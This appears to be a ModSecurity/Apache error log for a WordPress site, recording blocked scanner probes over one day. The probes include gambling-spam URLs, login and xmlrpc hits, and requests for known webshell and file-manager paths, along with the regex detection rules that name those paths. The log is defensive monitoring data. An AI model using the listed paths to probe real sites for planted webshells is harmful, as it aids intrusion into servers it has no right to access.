[Wed Feb 11 02:58:31.328474 2026] [:error] [pid 15011:tid 15018] [client 95.217.109.26:24656] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYt_11-gTNLV94AtLrgNpAAAAcU"]
[Wed Feb 11 02:58:33.825957 2026] [:error] [pid 46525:tid 46582] [client 95.217.109.26:24670] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYt_2QlEqQj0Mpse0PlYQAAAAAk"]
[Wed Feb 11 05:27:37.961461 2026] [:error] [pid 27965:tid 28022] [client 147.135.252.138:49334] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYuiydHLAUAIo8qpZyFFhgAAAFM"]
[Wed Feb 11 05:27:40.356798 2026] [:error] [pid 27964:tid 27994] [client 147.135.252.138:50066] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYuizMp0XgWYHLcQtEjRqAAAABM"]
[Wed Feb 11 05:27:42.731198 2026] [:error] [pid 27964:tid 27975] [client 147.135.252.138:34646] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYuizsp0XgWYHLcQtEjRsQAAAAA"]
[Wed Feb 11 05:27:45.286166 2026] [:error] [pid 27964:tid 27989] [client 147.135.252.138:34656] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYui0cp0XgWYHLcQtEjRtQAAAA4"]
[Wed Feb 11 05:27:47.667152 2026] [:error] [pid 27966:tid 28048] [client 147.135.252.138:34664] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYui018HJ9ydyf0SPu6ybAAAAJI"]
[Wed Feb 11 05:27:50.111403 2026] [:error] [pid 27966:tid 28053] [client 147.135.252.138:34694] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYui1l8HJ9ydyf0SPu6ycwAAAJc"]
[Wed Feb 11 05:27:52.455036 2026] [:error] [pid 28073:tid 28080] [client 147.135.252.138:54156] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYui2IeHYIlOlF-DsMyKlwAAAMU"]
[Wed Feb 11 05:27:54.753786 2026] [:error] [pid 27966:tid 28041] [client 147.135.252.138:54174] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYui2l8HJ9ydyf0SPu6yfgAAAIs"]
[Wed Feb 11 05:27:57.311970 2026] [:error] [pid 28073:tid 28082] [client 147.135.252.138:54190] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYui3YeHYIlOlF-DsMyKsAAAAMc"]
[Wed Feb 11 05:27:59.874632 2026] [:error] [pid 27965:tid 28026] [client 147.135.252.138:54218] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYui39HLAUAIo8qpZyFFqwAAAFc"]
[Wed Feb 11 05:28:02.250319 2026] [:error] [pid 28073:tid 28082] [client 147.135.252.138:39574] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYui4oeHYIlOlF-DsMyKwQAAAMc"]
[Wed Feb 11 05:28:04.822325 2026] [:error] [pid 27965:tid 28020] [client 147.135.252.138:39590] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYui5NHLAUAIo8qpZyFFtwAAAFE"]
[Wed Feb 11 05:28:07.159992 2026] [:error] [pid 28073:tid 28094] [client 147.135.252.138:39598] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYui54eHYIlOlF-DsMyK0wAAANM"]
[Wed Feb 11 05:28:09.493238 2026] [:error] [pid 27964:tid 27977] [client 147.135.252.138:39614] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYui6cp0XgWYHLcQtEjR4gAAAAI"]
[Wed Feb 11 05:28:12.016856 2026] [:error] [pid 28073:tid 28096] [client 147.135.252.138:60424] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYui7IeHYIlOlF-DsMyK2AAAANU"]
[Wed Feb 11 05:28:14.519455 2026] [:error] [pid 28073:tid 28094] [client 147.135.252.138:60442] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYui7oeHYIlOlF-DsMyK5QAAANM"]
[Wed Feb 11 05:28:16.960281 2026] [:error] [pid 28073:tid 28093] [client 147.135.252.138:60460] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYui8IeHYIlOlF-DsMyK8gAAANI"]
[Wed Feb 11 05:28:19.301670 2026] [:error] [pid 27965:tid 28004] [client 147.135.252.138:60480] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYui89HLAUAIo8qpZyFFzgAAAEE"]
[Wed Feb 11 05:28:21.835458 2026] [:error] [pid 28073:tid 28098] [client 147.135.252.138:53066] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYui9YeHYIlOlF-DsMyLAgAAANc"]
[Wed Feb 11 05:28:24.360166 2026] [:error] [pid 28073:tid 28095] [client 147.135.252.138:53080] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYui-IeHYIlOlF-DsMyLCgAAANQ"]
[Wed Feb 11 05:28:26.783426 2026] [:error] [pid 27964:tid 27980] [client 147.135.252.138:53092] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYui-sp0XgWYHLcQtEjR_gAAAAU"]
[Wed Feb 11 05:28:29.141929 2026] [:error] [pid 27966:tid 28049] [client 147.135.252.138:53100] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYui_V8HJ9ydyf0SPu6y1gAAAJM"]
[Wed Feb 11 05:28:31.622160 2026] [:error] [pid 27964:tid 27980] [client 147.135.252.138:43012] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYui_8p0XgWYHLcQtEjSDgAAAAU"]
[Wed Feb 11 07:06:21.349156 2026] [:error] [pid 28073:tid 28091] [client 43.166.255.122:49582] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYu57YeHYIlOlF-DsMypPQAAANA"]
[Wed Feb 11 10:13:19.073135 2026] [:error] [pid 22569:tid 22580] [client 192.144.148.122:36062] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYvlv8AhSI7iX9G3eniYwQAAAYc"]
[Wed Feb 11 10:32:38.726841 2026] [:error] [pid 27964:tid 27983] [client 49.51.253.26:40144] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYvqRsp0XgWYHLcQtEgWpwAAAAg"]
[Wed Feb 11 11:16:35.136384 2026] [:error] [pid 22569:tid 22573] [client 74.7.242.33:34350] [client 74.7.242.33] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "65.108.78.33_ca3e4798e4432adf71505abe7359ea8b716985ff"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor-pro/assets/css/widget-carousel-module-base.min.css"] [unique_id "aYv0kcAhSI7iX9G3eniq2wAAAYA"], referer: https://vetstars.com.au/
[Wed Feb 11 14:43:47.391330 2026] [:error] [pid 17401:tid 17407] [client 43.173.1.57:58246] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYwlIw0lHeayTY40t34YOwAAAQQ"]
[Wed Feb 11 14:53:12.064273 2026] [:error] [pid 22537:tid 22545] [client 173.239.224.198:28951] [client 173.239.224.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYwnWCfg2TagwM3bvQOsWAAAAUY"]
[Wed Feb 11 17:00:52.061637 2026] [:error] [pid 22569:tid 22577] [client 122.51.236.174:38840] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYxFRMAhSI7iX9G3engECAAAAYQ"]
[Wed Feb 11 19:39:45.091219 2026] [:error] [pid 27964:tid 27996] [client 194.5.82.31:37279] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aYxqgcp0XgWYHLcQtEjTzQAAABU"]
[Wed Feb 11 19:39:57.982248 2026] [:error] [pid 22570:tid 22616] [client 194.5.82.37:44447] [client 194.5.82.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.5.82.37, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYxqjSE5uSe043FXwQpq1wAAAdA"]
[Wed Feb 11 19:40:17.181422 2026] [proxy_fcgi:error] [pid 22570:tid 22605] [client 194.5.82.37:44447] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:40:36.482800 2026] [:error] [pid 22570:tid 22613] [client 194.5.82.37:44447] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aYxqtCE5uSe043FXwQprEwAAAc0"]
[Wed Feb 11 19:40:43.172867 2026] [:error] [pid 27966:tid 28035] [client 194.5.82.44:57107] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aYxqu18HJ9ydyf0SPu6vMwAAAIU"]
[Wed Feb 11 19:41:05.773704 2026] [:error] [pid 28073:tid 28096] [client 194.5.82.53:46217] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYxq0YeHYIlOlF-DsMzMJgAAANU"]
[Wed Feb 11 19:41:11.477909 2026] [:error] [pid 22569:tid 22573] [client 194.5.82.42:27735] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-atom.php"] [unique_id "aYxq18AhSI7iX9G3engrtAAAAYA"]
[Wed Feb 11 19:41:25.284381 2026] [:error] [pid 22537:tid 22546] [client 194.5.82.43:65445] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aYxq5Sfg2TagwM3bvQP05AAAAUc"]
[Wed Feb 11 19:41:52.475421 2026] [:error] [pid 28073:tid 28075] [client 194.5.82.50:50793] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aYxrAIeHYIlOlF-DsMzMtgAAAMA"]
[Wed Feb 11 19:42:14.879685 2026] [:error] [pid 27965:tid 28026] [client 194.5.82.35:59073] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aYxrFtHLAUAIo8qpZyFZAAAAAFc"]
[Wed Feb 11 19:42:25.089482 2026] [:error] [pid 27965:tid 28019] [client 194.5.82.22:21165] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aYxrIdHLAUAIo8qpZyFZIgAAAFA"]
[Wed Feb 11 19:42:35.488513 2026] [proxy_fcgi:error] [pid 27966:tid 28037] [client 194.5.82.11:42477] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 19:42:46.091055 2026] [:error] [pid 27966:tid 28045] [client 194.5.82.11:42477] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aYxrNl8HJ9ydyf0SPu6v8wAAAI8"]
[Wed Feb 11 19:42:50.880316 2026] [:error] [pid 28073:tid 28076] [client 194.5.82.41:45767] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYxrOoeHYIlOlF-DsMzNMQAAAME"]
[Wed Feb 11 19:43:18.670435 2026] [:error] [pid 27964:tid 27977] [client 194.5.82.37:51957] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aYxrVsp0XgWYHLcQtEjVfgAAAAI"]
[Wed Feb 11 19:43:24.482245 2026] [:error] [pid 22570:tid 22600] [client 194.5.82.12:48475] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aYxrXCE5uSe043FXwQpr8gAAAcA"]
[Wed Feb 11 19:43:30.880204 2026] [:error] [pid 27965:tid 28005] [client 194.5.82.166:20453] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aYxrYtHLAUAIo8qpZyFZZwAAAEI"]
[Wed Feb 11 19:43:39.065013 2026] [:error] [pid 27965:tid 28021] [client 194.5.82.29:43957] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aYxra9HLAUAIo8qpZyFZewAAAFI"]
[Wed Feb 11 19:43:47.285837 2026] [:error] [pid 27965:tid 28009] [client 194.5.82.7:42563] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aYxrc9HLAUAIo8qpZyFZjwAAAEY"]
[Wed Feb 11 19:43:59.169342 2026] [:error] [pid 27966:tid 28033] [client 194.5.82.34:48541] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aYxrf18HJ9ydyf0SPu6wOAAAAIM"]
